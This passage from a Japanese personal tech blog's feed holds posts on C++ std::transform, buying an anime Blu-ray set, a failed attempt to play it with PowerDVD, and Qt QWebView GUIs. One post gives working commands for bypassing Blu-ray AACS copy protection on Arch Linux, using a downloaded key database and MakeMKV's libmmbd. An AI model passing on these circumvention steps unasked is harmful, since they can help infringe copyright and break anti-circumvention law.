    if (std::isalnum(c) || c == &apos;-&apos; || c == &apos;_&apos; || c == &apos;.&apos; || c == &apos;~&apos;) {
      result &lt;&lt; c;
    } else {
      // ここのキャストもっと綺麗に書けないかな
      result &lt;&lt; &apos;%&apos; &lt;&lt; std::setw(2) &lt;&lt; static_cast&lt;int&gt;(static_cast&lt;unsigned char&gt;(c));
    }
  }

  return result.str();
}
```

## [std::transform()](http://en.cppreference.com/w/cpp/algorithm/transform)

こんなJavaScriptのコードがある.

```javascript
var myon = [1, 2, 3, 4, 5].map(function(n) {
  return n * n;
});

// myon == [1, 4, 9, 16, 25]
```

こんな感じのことをC++でやりたい.

```cpp
std::array&lt;int, 5&gt; arr = {{1, 2, 3, 4, 5}};
std::array&lt;int, 5&gt; myon;

std::transform(arr.begin(), arr.end(), myon.begin(), [](const int&amp; n) {
  return n * n;
});

// myon == [1, 4, 9, 16, 25]
```

文字列をすべて大文字にしたい.

```cpp
std::string s(&quot;kokoro pyonpyon machi?&quot;);
// std::toupperを呼び出す
std::transform(s.begin(), s.end(), s.begin(), ::toupper);
std::cout &lt;&lt; s &lt;&lt; std::endl; // KOKORO PYONPYON MACHI?
```

ウェイ.

`#include &lt;algorithm&gt;`すると使える. なまえがかっこいい(小並感)

## まとめ

便利.  
簡単なアルゴリズムとかを自分で書いたりするのは勉強になるけど, 何らかのソフトウェアとかを書くときはこういった標準の便利機能を積極的に使って行きたい.

C++の標準ライブラリは大量の機能があるっぽいけど, 故に目的の機能を探しづらくてアレ.</content:encoded></item><item><title>ご注文はBlu-rayですか?</title><link>https://myon.info/blog/2014/12/19/gochiusa_blu_ray_photo_review/</link><guid isPermaLink="true">https://myon.info/blog/2014/12/19/gochiusa_blu_ray_photo_review/</guid><pubDate>Fri, 19 Dec 2014 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;あぁ...買っちまった......&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/544401154763800576&quot;&gt;December 15, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;報告いきます&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/545500744103653377&quot;&gt;December 18, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;&lt;a href=&quot;http://t.co/kLgrC9kiua&quot;&gt;pic.twitter.com/kLgrC9kiua&lt;/a&gt;&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/545500819198459904&quot;&gt;December 18, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;以上です&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/545500835673694209&quot;&gt;December 18, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

ども.  
タイトル, 及びツイートの通りです. ご注文はうさぎですか?のアニメBlu-rayを買ってしまいました.

&lt;!--more--&gt;

## 購入に至った経緯

1. **[1月からBS11でごちうさ再放送がある](http://www.gochiusa.com/news/hp0001/index02610000.html)**らしい
2. **永久保存版**って感じで録画したい
3. TVに接続したHDDレコーダの残量を確認したところ**9時間**
4. 年末年始に録画予約が増えるのは確実
5. **妹氏がアニメに目覚めた**ようでさらに録画したいらしい (男の権限は弱い)
6. 新規レコーダを導入するにも既存のPCを利用し録画環境構築にしても**大きな出費**
7. **これBD買っても変わらなくね?**

アマゾンが割引していて, ある程度安く購入できた. (でも高い)

## 画像とか

箱  
![box](./IMG_2634.JPG)

だばぁ  
![all](./IMG_2626.JPG)

中はこんな感じ  
![book](./IMG_2627.JPG)

本編BDのほか, キャラソンCDがそれぞれ1枚づつ  
![in](./IMG_2637.JPG)

ディスクガイド, イラストカード, ChaosTCGカード(画像は1巻)  
![card](./IMG_2631.JPG)

6巻付属のRabbit House Tea Party2014のDVD  
![dvd](./IMG_2633.JPG)

その他期限切れのイベント優先券などが入っていました.

最高すぎる. 一生大切にせねば.

&amp;nbsp;

&amp;nbsp;

&amp;nbsp;

&amp;nbsp;

&amp;nbsp;

&amp;nbsp;

だがしかし, このときとさいぬは**こころぴょんぴょん**への道がこれほどにも険しいことに気づいていないのであった....  
次記事(今週末くらい?)に続く. →[ひと目で尋常でないプロテクトだと見抜いたよ](/blog/2014/12/20/fu_k_power_dvd/)</content:encoded></item><item><title>ひと目で尋常でないプロテクトだと見抜いたよ</title><link>https://myon.info/blog/2014/12/20/fu_k_power_dvd/</link><guid isPermaLink="true">https://myon.info/blog/2014/12/20/fu_k_power_dvd/</guid><pubDate>Sat, 20 Dec 2014 00:00:00 GMT</pubDate><content:encoded>この記事は先日の**[ご注文はBlu-rayですか?](/blog/2014/12/19/gochiusa_blu_ray_photo_review/)**の続きです.

## まず

ご存じの方も多いと思いますが, **ガバガバのDVD**の反省もこめてBlu-ray(以後BD)には結構強力な(利用者からすれば面倒な)コピープロテクトが採用されています.

僕自身のメモも兼ねて簡単にまとめると, 大半のBDは**A**dvanced **A**ccess **C**ontent **S**ystem (AACS)というコピープロテクト規格が採用されており, より複雑な暗号アルゴリズムを使っている上に, **定期的なキーの更新**が行われることで突破された場合も**再び阻止することが可能**となっています.

そのため専用のハードウェアやプレイヤーが必要になり, 特にPCで普通に再生する場合には対応ハードウェアの他に**有料の再生ソフトウェア**が必要になってきます.

## 何があったか

BDディスクを買っておいてアレなんですが, 僕はBDプレイヤーを持っていません.  
しかし, 昨年組んだPCにはBDドライブを載っけましたし, いろいろあってポータブルBDドライブも1台持っています.

先程PCでBDを再生するとき有料のソフトが要ると書きましたが, BDドライブ等に付属するソフトを使う方法もあります.  
しかし, あえて書かなかったのは**それができなかった**からです.

とりあえず確実に再生できる方法を試そうと, 仕方なくWin10TPを起動しBDドライブに付属していた**CyberLink PowerDVD10**を使い再生を試みました.

&lt;!--more--&gt;

## CyberLink PowerDVDとの格闘

出落ちw  
まぁ英語版Winだし仕方ないけど  
![0](./0.png)  
![1](./1.png)

あのさぁ... 有名なソフトだろ???  
こんな広告貼っていいのかよおい.....  
![2](./2.png)

早速BDを入れて再生してみると, なんか出た  
![3](./3.png)

AACSキーの更新とかかなぁということで, 画面に従いYes  
すると**一瞬で完了した**とダイアログが出た  
![4](./4.png)

それじゃぁいってみよう, ポチ(再生ボタンをクリック)  
![5](./5.png)  
![6](./6.png)  
![7](./7.png)  
![8](./8.png)  
**無限ループってこわくね?** (その後再起動等を繰り返すも延々にループ)

きっとソフトからのアップデートがうまくできていないんだろうということで, [ここ](http://www.cyberlink.com/support/powerdvd-ultra/patches_en_US.html)から手動でアップデータをDL/インストールした  
![9](./9.png)

英語サイトから落としてきたのもあってか, 表示言語が英語になった  
![10](./10.png)

今度こそ逝ってみよう, ポチ  
![12](./12.png)
![11](./11.png)

前バージョンと違ってYes押しても更新完了は出ず, そのままStoppedと表示されるようになってしまった  
![13](./13.png)

いろいろ調べていると, PowerDVD 10 **Ultra**の場合はPowerDVD 11 Ultraに無償で更新できるらしく, また更新することで見れるようになるという情報を見つけた

ってことでアップデータを落としてきてインストール.....  
![14](./14.png)  
![15](./15.png)  
![16](./16.png)

(･∀･；)  
適当に互換機能の設定したら動いたけど....  
![17](./17.png)  
![18](./18.png)  
![19](./19.png)

僕のはPowerDVD 10 **Ultra**じゃなかったらしい  
![20](./20.png)

次記事に続きます. &lt;del&gt;(今日中に書きたい)&lt;/del&gt;書けませんでした → [対Blu-ray用決戦部隊、通称MakeMKV](/blog/2014/12/21/play_blu_rau_in_archlinux/)

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;PowerDVDもう許さなねぇからなぁ？&lt;/p&gt;&amp;mdash; とさいぬ (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/545908000934727681&quot;&gt;December 19, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;</content:encoded></item><item><title>対Blu-ray用決戦部隊、通称MakeMKV</title><link>https://myon.info/blog/2014/12/21/play_blu_rau_in_archlinux/</link><guid isPermaLink="true">https://myon.info/blog/2014/12/21/play_blu_rau_in_archlinux/</guid><pubDate>Sun, 21 Dec 2014 00:00:00 GMT</pubDate><content:encoded>この記事は**[ご注文はBlu-rayですか?](/blog/2014/12/19/gochiusa_blu_ray_photo_review/)**および**[ひと目で尋常でないプロテクトだと見抜いたよ](/blog/2014/12/20/fu_k_power_dvd/)**の続きです.

## まず

このタイプの話題は**著作権法**とかにも関わってきたりで焦げ臭くなりやすいので, 先にいろいろ書いておきます.

2012/10/01からの著作権法の改正で, (コピー|アクセス)ガードの**回避を伴った複製**が違法となったようです.  
嫌いなサイト[^1]の記事を載せるのは気分悪いですが, [この辺](http://weekly.ascii.jp/elem/000/000/110/110332/)がよくまとまっています.

今回の記事最後で紹介する[MakeMKV](http://www.makemkv.com/)というソフトウェアは, **技術的保護手段が施された市販のBlu-rayのコンテンツを複製(リッピング)する行為**も可能であり, 当然このようなことを行うことは違法となります.  
しかし, 今回の記事ではMakeMKVに含まれるLGPLなオープンソースライブラリ**libmmbd**利用し, コピープロテクトの**解除は行うものの複製はしない**(再生するだけ)ため違法にはならないと思われます.

また, 同様の理由でlibaacs等に関しても違法性はないと思われます.

## んで

前回の記事の通り, 合法かつ確実に成功するはずの手段が使えないことが判明してしまいました.  
こうなってしまった以上, 少し特殊な手段を使うしかありません[^2].

また, 僕は普段Arch Linuxを使っているのはアイコンからもわかると思いますが, やっぱり**Arch Linuxでごちうさを見たい**わけです.

ってことで, 今回はそんな方法を探ってみました.

&lt;!--more--&gt;

## 環境

* Arch Linux x86\_64 (linux-3.17.6)
* Pioneer BDR-208BK (SATA)
* Geforce GTX 660 Ti (Driver: 343.36)

## libaacsを試す (失敗)

Arch Linux Wikiには[こんなページ](https://wiki.archlinux.org/index.php/BluRay)があり, libaacsを利用したBDの再生方法が丁寧に書かれています.  
とりあえずその通りの方法で再生を試みました.

```
// 必要なパッケージのインストール
$ yaourt -Sy libbluray libaacs

// KEYDB.cfgをDL
$ mkdir -p ~/.config/aacs
$ cd ~/.config/aacs/ &amp;&amp; curl -O http://vlc-bluray.whoknowsmy.name/files/KEYDB.cfg
```

これで準備は完了です.  
その後BDを適当にマウントしてmplayerなどの任意のプレイヤーで再生できるはずでしたが.....

```
$ sudo mkdir /mnt/GOCHIUSA_1
$ sudo mount /dev/sr0 /mnt/GOCHIUSA_1
$ mplayer br:// -bluray-device /mnt/GOCHIUSA_1
MPlayer SVN-r37224 (C) 2000-2014 MPlayer Team
210 audio &amp; 441 video codecs
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing br://.
libaacs: libaacs/aacs.c:426: Error calculating media key. Missing right processing key ?
bluray.c:867: aacs_open() failed!
bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
libavformat version 55.33.100 (internal)
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?
  bluray.c:636: TP header copy permission indicator != 0, unit is still encrypted?

--- 略 ---


  Exiting... (End of file)
```

(´・ω・｀)  
`KEYDB.cfg`に対応したキーが入っていない, もしくはlibaacsがごちうさBDにかかっているAACS v47に未対応なのだと思われます.
## MakeMKVのlibmmbdを使う

何かの助けにならないかと思い, [MakeMKVのLinux版](http://www.makemkv.com/forum2/viewtopic.php?f=3&amp;t=224)をインストールしてみました.  
Arch Linuxの場合はAURから簡単にインストールできます.

```
$ yaourt -S makemkv
```

起動してみると, なんと**ごちうさBDを認識した**のです!!  
![makemkv](./Screenshot_from_2014-12-21_20:57:54.png)

さらになんとかならないかと情報を集めていると, **[MakeMKVに含まれるlibmmbdがlibaacsの代わりに利用でき, シンボリックリンクを張ることでプレイヤー等で再生が可能になる](http://www.makemkv.com/forum2/viewtopic.php?f=3&amp;t=7009)**という情報を発見!  
しかも, Arch LinuxではAURで公開もされているようです.

早速インストール.

```
$ yaourt -S makemkv-libaacs
```

また, BDを再生するにあたって個人的なお気に入りプレイヤーであるmplayer及びgnome-mplayerでは色々つらいものがあったため, vlcをインストールしました.

```
$ yaourt -Sy vlc
```

vlcを起動し, 上部メニューのMedia-\&gt;Open Diskをクリック,  
![menu](./menu.png)

Blu-rayにチェックを入れて, またBDドライブのパスを設定してPlayをクリック.  
すると......  
![dialog](./Screenshot_from_2014-12-21_21:16:31.png)

(＾ω＾≡＾ω＾)おっおっ  
![op](./Screenshot_from_2014-12-21_21:19:08.png)

**ｷﾀ━━━━(ﾟ∀ﾟ)━━━━!!**  
![title](./IMG_2638.JPG)

あぁ, 長かった..... やっとごちうさを見ることができるぜ.....  
ではではー[^3]

## 追記 (2015/07/31)

本記事と同様の方法で, Windows環境でもVLCでBDの再生が可能なようです.

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;はてなブログに投稿しました &lt;a href=&quot;https://twitter.com/hashtag/%E3%81%AF%E3%81%A6%E3%81%AA%E3%83%96%E3%83%AD%E3%82%B0?src=hash&quot;&gt;#はてなブログ&lt;/a&gt;&amp;#10;Windowsで無料でBDを再生する - 酢飯をおかずにご飯を食べる。&amp;#10;&lt;a href=&quot;http://t.co/Mn8agc4JuP&quot;&gt;http://t.co/Mn8agc4JuP&lt;/a&gt; &lt;a href=&quot;http://t.co/ABGwFBqn1c&quot;&gt;pic.twitter.com/ABGwFBqn1c&lt;/a&gt;&lt;/p&gt;&amp;mdash; 宇治松千夜 (@eai04191) &lt;a href=&quot;https://twitter.com/eai04191/status/626281660607168512&quot;&gt;July 29, 2015&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

[^1]: ア○キーは以前[Raspberry Piをバカにする記事](http://weekly.ascii.jp/elem/000/000/140/140621/)書いたりしてたので嫌いですし意識してサイトも見ないようにしています
[^2]: 確実に再生できる有料の再生ソフトや専用の再生機器を購入する方法もありますが, 当初の &quot;録画環境強化するならBD買っても出費は大して変わらなくね?&quot; の意味がなくなってしまうため今回はパスです
[^3]: この記事はもう続きません</content:encoded></item><item><title>[ネタ] QWebViewでGUIアプリケーションを作る</title><link>https://myon.info/blog/2015/02/28/cocoatwit/</link><guid isPermaLink="true">https://myon.info/blog/2015/02/28/cocoatwit/</guid><pubDate>Sat, 28 Feb 2015 00:00:00 GMT</pubDate><content:encoded>## CocoaTwit

以前から何度かつぶやいていた自作Twitterクライアント, [**CocoaTwit-QWebView**](https://github.com/Tosainu/CocoaTwit/tree/QWebView)を公開しました.  
![img](./2015-02-28-170528_3000x1920_scrot.png)

**A Simple and Cute Twitter Client**をコンセプトに, シンプルなデザインかつ細かな拡張のしやすいTwitterクライアントを目指しています.  
また, 僕が今まで使ってきたTwitterクライアントの手が届かなかったところを改善して実装していこうと思っています.  
ちなみにCocoaTwitという名前に特別な意味は無いです. ココアさんかわいい.

バイナリ配布は今のところ予定していませんが, 気になるLinux使いの方はビルドしてみてください.  
(Macでもイケると思ったけど, [twitppがApple Clangでビルドできなかった](https://github.com/Tosainu/twitpp/issues/3))

## この記事で紹介する手法はネタです

正月くらいからこのCocoaTwitをタイトル通りの手法で開発していました.  
しかし, もっとよさ気な方法を見つけたため設計を大幅変更することにしました[^1].

この時点でQWebView版CocoaTwitも本記事もある程度出来上がっており, 消してしまうのがもったいなかったためネタ記事として公開することにしました.  
**こんなブッ飛んだこともできるんだな〜**って感じで読んでもらえると良いかと思います.

[^1]: ただし作者は当分Qtってるコードを書きたくない模様

&lt;!--more--&gt;

## C++でGUI is つらい

昨年から[twitpp](https://github.com/Tosainu/twitpp)を書いていますが, これは**C++でTwitterクライアントが作りたかった**ためです.  
それに伴い以前からよさ気なGUIライブラリを探していたのですが, なかなか良いものが見つかりません.

C++には有名な[Qt](http://qt-project.org/)をはじめ[wxWidgets](http://wxwidgets.org/)や[FLTK](http://www.fltk.org/), [gtkmm](http://www.gtkmm.org/)などのGUIライブラリが存在[^2]しますが, これらの中から

* クセの少なく
* マクロを多用していなくて
* 他のC++コードとイイ感じに組み合わせられる

ものに絞っていくと, うーん.......  
悩んだ末, 最近よく耳にしていて個人的に使ってみたかったライブラリでもあったQt5を使うことにしました.

[^2]: [List of platform-independent GUI libraries - Wikipedia](http://en.wikipedia.org/wiki/List_of_platform-independent_GUI_libraries)

## Qtの微妙だった点

### STLと非互換なライブラリ

Qtは独自の文字列型である`QString`をはじめ`QVector`や`QList`などの**STLに代わるクラスを提供**しており, そして**GUI周りのクラスがそれらに依存**しています.  
そのため, 今回のような非Qtなライブラリと組み合わせて使おうとすると**独自型とのキャストが多発**し, あまり気分の良いものではありません.

CocoaTwitでは特に`std::string`と`QString`の相互変換が多発しました.  
僕はこんな感じに対処しましたが, もっと良い物があれば教えてもらえると嬉しいです.

```cpp
// std::string -&gt; QString
std::string foo(&quot;foo&quot;);
QString bar = QString::fromStdString(foo);

// QString -&gt; std::string
QString hoge = &quot;hoge&quot;;
std::string fuga(hoge.toUtf8().constData());
```

### マクロの多用

Qtの代表的な機能であるSignal/Slotなどの実現には**魔術(マクロ等)が多用**されています.  
別にただ単にマクロが使われている分には良いのですが, 実際に副作用的なものに遭遇したため許せませんでした.

特に`Q_OBJECT`マクロが曲者です.  
まず, `Q_OBJECT`が書かれたクラス宣言のあるヘッダファイルで`boost/asio.hpp`をincludeするとビルドが通らなくなることがある現象[^3]に遭遇し1ヶ月悩みました.  
そして, [2015年の目標](/blog/2015/01/02/2015-new-year-resolution/)に書いたようにtemplateを使ったプログラムに力を入れたかったのですが, `Q_OBJECT`の使われたクラス(Qt関連のすべてのクラス)ではClass Templateが使えない[^4]と知って本当にショックでした.

[^3]: &lt;https://svn.boost.org/trac/boost/ticket/10688&gt; includeする場所をソースファイルに変えると解決する
[^4]: &lt;http://qt-project.org/forums/viewthread/14058&gt;

### 命名規則の違い

Qtは**camelCase**なクラス/関数を提供しています.  
しかし, C++標準ライブラリやBoostに合わせて**snake\_case**でコードを書いてきた僕にとっては物凄い違和感に苦しめられました.

命名規則は大体はその言語の標準ライブラリに合わせるのがBestかなと思っているのですが, どうしてこう外部C++のライブラリはcamelCaseのものが多いのか.......  
まぁコンパイラから見れば関係ないんだろうけどさぁ.......

## 複雑なUIを組みたい

camelCaseな書き方を我慢するとしても, マクロの副作用に気をつけたとしても, Class Templateを諦めたとしても, 実際にQtでTwitterクライアント開発を始めて行くと大きな壁にぶつかりました. **Widgetの拡張**です.

単純に[`QPushButton`](http://doc.qt.io/qt-5/qpushbutton.html)等の用意されたWidgetを配置していく程度のアプリケーションなら何の問題もないのですが, 今回作成したいのはTwitterクライアントです.  
例えばタイムライン表示を実装するとします. TweetDeckほど複雑な表示でなくとも, 最低限アイコンとscreen\_name, tweet本文を独立して表示できるListViewが欲しいわけです.  
![tl](./twitteritem.png)

QtにこのようなWidgetは用意されていないので, ちょっと弄る必要があります.  
QtのListViewである[`QListView`](http://doc.qt.io/qt-5/qlistview.html)を拡張するには, 必要に応じて[`QAbstractListModel`](http://doc.qt.io/qt-5/qabstractlistmodel.html)等を継承した独自のModelを作成し, また[`QStyledItemDelegate`](http://doc.qt.io/qt-5/qstyleditemdelegate.html)を継承したクラスを適用させて`QListView`のItemをPaintするときの動作を上書きしていくようです. 詳しくは[こちら](http://doc.qt.io/qt-5/model-view-programming.html).

これらの情報を元に, 年末にいろいろ弄ってみました.  
しかし, 僕のQt力が足りないことや, 雑に書いたのもありますがどうも不安定で, コードが予想以上に複雑に....  
ここから表示する情報を増やしたり, Tweetの行数に合わせて高さを可変させるようにしたり, デザインよくしたりと考えていくともう.....\_(:3 」∠)\_

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;それっぽいのできた &lt;a href=&quot;http://t.co/7jZU0Iv95o&quot;&gt;pic.twitter.com/7jZU0Iv95o&lt;/a&gt;&lt;/p&gt;&amp;mdash; 不正競争防止法 (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/550229017098326016&quot;&gt;December 31, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

ちなみに, `QListView`と[`QStandardItemModel`](http://doc.qt.io/qt-5/qstandarditemmodel.html)を利用すると, アイコン付きのListは簡単に作れました.  
しかし, 画面端での文字折り返しがどうしてもうまくいかず諦めました. (標準Widgetでは不可能...?)

```cpp
QListView* l = new QListView();
QStandardItemModel* model = new QStandardItemModel();

l-&gt;setModel(model);
l-&gt;setEditTriggers(QAbstractItemView::NoEditTriggers);
l-&gt;setIconSize(QSize(64, 64));

model-&gt;insertRow(0, new QStandardItem(QIcon(&quot;icon.png&quot;), &quot;myon!!&quot;));
```

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; lang=&quot;en&quot;&gt;&lt;p&gt;QtでUserstream流せた∩(＞◡＜\*)∩ &lt;a href=&quot;http://t.co/bgbyyh6r7d&quot;&gt;pic.twitter.com/bgbyyh6r7d&lt;/a&gt;&lt;/p&gt;&amp;mdash; 不正競争防止法 (@myon\_\_\_) &lt;a href=&quot;https://twitter.com/myon___/status/533104702963978241&quot;&gt;November 14, 2014&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;//platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## HTMLでUIを書くという選択肢

さて, 長くなりましたが本題です.

なんとかいい感じに, 思い通りのUIを設計できる方法がないかと探っていると, たまたま開いたQtのドキュメントで[`QWebView`](http://doc.qt.io/qt-5/qwebview.html)というクラスがあるのを見つけます.  
このクラスは名前の通りWebドキュメントを表示したり編集したりするためのものです.

また, `QWebView`に関連したクラスである[`QWebFrame`](http://doc.qt.io/qt-5/qwebframe.html)に, `addToJavaScriptWindowObject()`という何とも怪しいメンバ関数があるのを見つけます.  
このメンバ関数は, なんと[`QObject`](http://doc.qt.io/qt-5/qobject.html)を継承しているObjectを`QWebView`などで表示しているページ内のJavaScript Objectとして追加できるという物凄いものでした.

そして最後に, 上記のメンバ関数の利用例を示した[The Qt WebKit Bridge](http://doc.qt.io/qt-5/qtwebkit-bridge.html)というドキュメントにたどり着きます.  
このページには, `QWebView`内で動くJavaScriptとC++なコードを結びつけてアプリケーションを作る手法のあれこれが記されています.

**あっ, これってつまり..... GUI周りをすべてHTMLで実現できるってことじゃね!!??**

ということで, 上記手法を用いたGUIアプリケーション作成方法について紹介していこうと思います.

## Hello World!

とりあえず`QWebView`を使ってみます.

&lt;script src=&quot;https://gist.github.com/Tosainu/8d4bd1e28813d3f93d4e.js&quot;&gt;&lt;/script&gt;

```
$ qmake
$ make
$ ./QWebView_example
```

![example](./2015-01-12-173150_1920x1080_scrot.png)

これだけです. 簡単ですね.  
ちなみに, `main.cc`の8行目の`R&quot;( ... )&quot;`はC++11からのRaw String Literal[^5]と呼ばれるものです.

[^5]: [C++11: Syntax and Feature - 2.8.4.3 生文字列リテラル（Raw String Literal）](http://ezoeryou.github.io/cpp-book/C++11-Syntax-and-Feature.xhtml#raw.string.literal)

## C++からDOM

`QWebView`の中でJavaScriptを動かすって方法もありますが, あくまで今回のメインはC++です.  
DOM要素を扱う[`QWebElement`](http://doc.qt.io/qt-5/qwebelement.html)を使うことでいろいろできます.  
Sample: [Tosainu / QWebView\_dom.pro](https://gist.github.com/Tosainu/1a678513e0496384de7e)

![dom](./out.opt_2.gif)

### 要素を取得する

JavaScriptでいう`document.getElementById`等に相当するようなものです.  
例えば`list`クラスのついた`&lt;ul&gt;`を取得するにはこんな感じに書きます.

```cpp
auto list = webview-&gt;page()-&gt;mainFrame()-&gt;findFirstElement(&quot;ul.list&quot;);
```

そのリストの最初の子要素を取得するならこんな感じ.

```cpp
auto item = webview-&gt;page()-&gt;mainFrame()-&gt;findFirstElement(&quot;ul.list li&quot;);
```

### 要素を挿入する

取得した要素に新しい要素を追加してみます.  
以下のようなHTMLで, (a)の位置に挿入するには`QWebElement::prependInside()`, (b)の位置に挿入するには`QWebElement::appendInside()`を使います.

```html
&lt;ul class=&quot;list&quot;&gt;
  &lt;!-- (a) --&gt;
  &lt;li&gt;もともと存在する要素&lt;/li&gt;
  &lt;!-- (b) --&gt;
&lt;/ul&gt;
```

```cpp
auto list = webview-&gt;page()-&gt;mainFrame()-&gt;findFirstElement(&quot;ul.list&quot;);
list.prependInside(&quot;&lt;li&gt;&quot; + QTime::currentTime().toString() + &quot;&lt;/li&gt;&quot;);
list.appendInside(&quot;&lt;li&gt;&quot; + QTime::currentTime().toString() + &quot;&lt;/li&gt;&quot;);
```

ここで注意したいのが, `QWebFrame::findFirstElement()`が返す値はポインタではないということです.  
周りと同じようにアロー演算子(`-&gt;`)を使ったりするとビルドできません.

### 取得した要素を削除する

取得した要素を削除するには`QWebElement::removeFromDocument()`を使います.

```cpp
auto item = webview-&gt;page()-&gt;mainFrame()-&gt;findFirstElement(&quot;ul.list li&quot;);
item.removeFromDocument();
```

### クラスを追加/削除する

要素のクラスを追加するには`QWebElement::addClass()`, 削除するには`QWebElement::removeClass()`を使います. そのままですね.

```cpp
auto list = webview-&gt;page()-&gt;mainFrame()-&gt;findFirstElement(&quot;ul.list&quot;);
list.addClass(&quot;hide&quot;);
list.removeClass(&quot;hide&quot;);
```

## Signal/Slot

QtといったらSignal/Slotでしょう.  
`QWebFrame::addToJavaScriptWindowObject()`の力を借りながら`QWebView`内のHTMLとC++のコードを繋いでみます.

### HTML -&gt; C++

表示しているHTMLから`QObject`を継承した`JsObj`クラスのSlotである`hogeSlot()`を呼び出してみます.  
Sample: [Tosainu / QWebView\_html-to-cpp.pro](https://gist.github.com/Tosainu/24f9fd66dc28c987f836)

```cpp
auto jo = new JsObj();
webview-&gt;page()-&gt;mainFrame()-&gt;addToJavaScriptWindowObject(&quot;jsobj&quot;, jo);
```

このように記述すると, `jo`が`jsobj`という名前のJavaScript contextとしてページに放り込まれます.  
例えばページ内の`&lt;button&gt;`から`hogeSlot()`を呼び出すには, `onclick=&quot;&quot;`にこのように記述してやります.

```html
&lt;button onclick=&quot;jsobj.hogeSlot();&quot;&gt;Click!&lt;/button&gt;
```

上に挙げたサンプルプログラムでは, ページに配置されたClick!ボタンをクリックすると, こんな感じで**QMessageBox::information()**が表示されたと思います.  
![htmlc++](./out.opt.gif)

### C++ -&gt; HTML(JavaScript)

今度はその逆, C++上のSignalが発火したら`QWebView`内のJavaScript関数が実行されるようにしてみます.  
Sample: [Tosainu / QWebView\_cpp-to-html.pro](https://gist.github.com/Tosainu/bd4dfae31c0af3c8a8ef)

同様に`jsobj`を追加したうえで, このような文法でJavaScriptの関数`fugaSlot`をC++上の`hogeSignal`にconnectします.

```javascript
var fugaSlot = function() {
  location.href = &apos;http://myon.info/&apos;;
};

jsobj.hogeSignal.connect(fugaSlot);
```

サンプルプログラムでは, 下部のQPushButtonをクリックすると`hogeSignal`が発火するようにしてありますので, ボタンをクリックすると&lt;http://myon.info/&gt;に飛んだと思います.  
![c++html](./out.opt_4.gif)

### 値の受け渡し

関数が相互に呼び出せるようになったので, 今度は値のやり取りをしてみます.  
Sample: [Tosainu / QWebView\_exchange-value.pro](https://gist.github.com/Tosainu/b6180de2eb852fc7eea8)

![exchangeval](./out.opt_3.gif)

やり取りする相手がJavaScriptですが, なにか特別な書き方が必要というわけではありません.  
サンプルでは文字列の受け渡ししかしていませんが, [The Qt WebKit Bridge | Qt 5.4](http://doc.qt.io/qt-5/qtwebkit-bridge.html)によると以下のような型が扱えると紹介されています. &lt;del&gt;(面倒で全て試せてない)&lt;/del&gt;

| 形式 | Qtでの型 |
| ---- | ---------------- |
| 数値 | int, short, float, double等 |
| 文字列 | QString |
| 日付/時刻 | QDate, QTime, QDateTime |
| 正規表現 | QRegExp |
